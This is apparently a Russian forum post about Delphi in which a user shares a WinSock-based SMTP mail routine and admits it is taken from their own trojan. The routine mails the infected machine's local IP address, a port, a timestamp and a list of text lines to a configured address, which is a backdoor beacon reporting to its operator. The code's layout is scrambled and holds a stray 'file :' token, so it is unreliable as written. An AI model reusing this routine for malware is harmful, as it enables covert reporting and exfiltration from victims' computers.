Delphi - объектно-ориентированный язык программирования, разработанный компанией Borland в 1995 году. Он основан на языке программирования Pascal, но имеет более расширенные возможности и добавлены новые функции.
Delphi является интегрированной средой разработки (IDE), которая позволяет разрабатывать программное обеспечение для различных платформ, включая Windows, macOS, Android и iOS. Delphi достигает многоплатформенности с помощью...
Ну если не устраивает дельфовый SMTP клиент...
Вот вам кусок,написанный на WinSock API пробуйте разобраться... это будет посложнее чем компоненты от NetMasters юзать... (Все это исполнялось в отдельном трейде,не забудьте про WSAStartUp/ClenUp) (каюсь, это кусок из моего трояна :)
functionSMTPRecvReply(MailSocket: TSocket): Word; var
Buffer: array
[1..1024] of
Byte; Err: Integer; BufStr: string
; begin
BufStr := ''; Recv(MailSocket, Buffer, SizeOf(Buffer), 0); for
Err := 1 to
3 do
BufStr := BufStr + Chr(buffer[Err]); try
Result := StrToInt(BufStr); except
Result := 0; end
; end
; function
SMTPSendString(MailSocket: TSocket; Str: string
): Boolean; var
Buffer: array
[1..1024] of
Byte; Err: Integer; begin
Result := FALSE; ZeroMemory(@Buffer, SizeOf(Buffer)); if
Length(Str) > 1000 then
Exit; for
Err := 1 to
Length(Str) do
Buffer[Err] := Ord(Str[Err]); Buffer[Err] := 13; Buffer[Err + 1] := 10; Err := WinSock.send(MailSocket, buffer, Err + 1, 0); if
Err > 0 then
Result := TRUE; end
; function
SMTPConnectAndSendMail(Arg: Pointer): DWord; stdcall
; var
MailSocket: TSocket; MailSent: Boolean; MTime: TSystemTime; SMTPServer: TSockAddrIn; Step: Byte; OutOfSend: Boolean; begin
MailSent := FALSE; OutOfSend := FALSE; MailSocket := socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); ZeroMemory(@SMTPServer, SizeOf(SMTPServer)); SMTPServer.sin_family := AF_INET; SMTPServer.sin_port := htons(25); SMTPServer.sin_addr.S_addr := inet_addr(PChar(smtp)); Step := 0; if
Connect(MailSocket, SMTPServer, SizeOf(SMTPServer)) = 0 then
repeat
case
SMTPRecvReply(MailSocket) of
220: SMTPSendString(MailSocket, 'HELO server.com'); 250: case
STEP of
0: begin
SMTPSendString(MailSocket, 'MAIL FROM:' + mail); Inc(Step); end
; 1: begin
SMTPSendString(MailSocket, 'RCPT TO:' + mail); Inc(Step); end
; 2: begin
SMTPSendString(MailSocket, 'DATA'); Inc(Step); end
; 3: begin
SMTPSendString(MailSocket, 'QUIT'); Inc(Step); end
; end
; 354: begin
SMTPSendString(MailSocket, 'From:' + ServerID); SMTPSendString(MailSocket, 'To:' + UserName); SMTPSendString(MailSocket, 'Subject:' + LocalIPS + ' : ' + port + ' At ' + DateTimeToStr(Now)); SMTPSendString(MailSocket, CRLF); for
count := 1 to
(txt.Count - 1) do
SMTPSendString(MailSocket, txt[count]); SMTPSendString(MailSocket, CRLF + '.' + CRLF); end
; 221: begin
OutOfSend := True; MailSent := True end
; else
OutOfSend := True; file
: //!Case end
; until
OutOfSend; CloseSocket(MailSocket); end
; ExitThread(0); end
;